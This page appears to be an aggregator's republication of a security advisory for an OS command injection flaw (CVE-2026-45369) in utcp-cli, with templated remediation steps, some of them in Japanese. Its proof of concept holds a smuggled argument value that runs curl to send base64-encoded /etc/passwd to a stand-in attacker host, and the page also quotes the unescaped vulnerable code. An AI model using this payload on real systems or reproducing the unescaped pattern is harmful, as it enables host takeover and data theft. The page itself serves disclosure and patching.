OS Command Injection in utcp-cli (CVE-2026-45369)
Summary
OS command injection in utcp-cli (CVE-2026-45369). Successful exploitation can lead to full system takeover. Exploitable via _substitute_utcp_args. Mitigation: upgrade to 1.1.2 or later.
Original description
The description as published by the source.
Summary
The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.
Affected File
plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py
Vulnerable Code
def replace_placeholder(match):
arg_name = match.group(1)
if arg_name in tool_args:
return str(tool_args[arg_name]) # No escaping applied
The substituted command is then embedded directly into a shell script:
script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')
And executed via:
shell_cmd = ['/bin/bash', '-c', script]
Proof of Concept
Given a tool defined as:
{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}
Calling with:
tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}
Produces and executes:
CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)
This results in full Remote Code Execution on the host system.
Patched
Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows…
Source: GitHub Security Advisories (Global) NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-45369 has been found in utcp-cli.
Attackers can target a specific entry point like _substitute_utcp_args over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 8.3/10.
What to do: upgrade utcp-cli to 1.1.2 or later.
If unsure, ask your IT team or search "utcp-cli CVE-2026-45369" on the vendor's site.
CVE-2026-45369 (utcp-cli) — CWE-78 / CVSS v3 8.3
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: _substitute_utcp_args / cli_communication_protocol.py / tool_args / shlex.quote
Patched: 1.1.2 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
OS command injection (CWE-78) exists in utcp-cli. Attackers reach the vulnerable code path via _substitute_utcp_args without authentication.
Check the vendor advisory for the affected versions of utcp-cli. Attack surface: _substitute_utcp_args / cli_communication_protocol.py / tool_args / shlex.quote.
Severity: High (CVSS 8.3/10). Successful exploitation can lead to full system takeover.
Update to 1.1.2.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'utcp-cli' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'utcp-cli' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
utcp-cliを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade utcp-cli to 1.1.2ステージング環境で 1.1.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com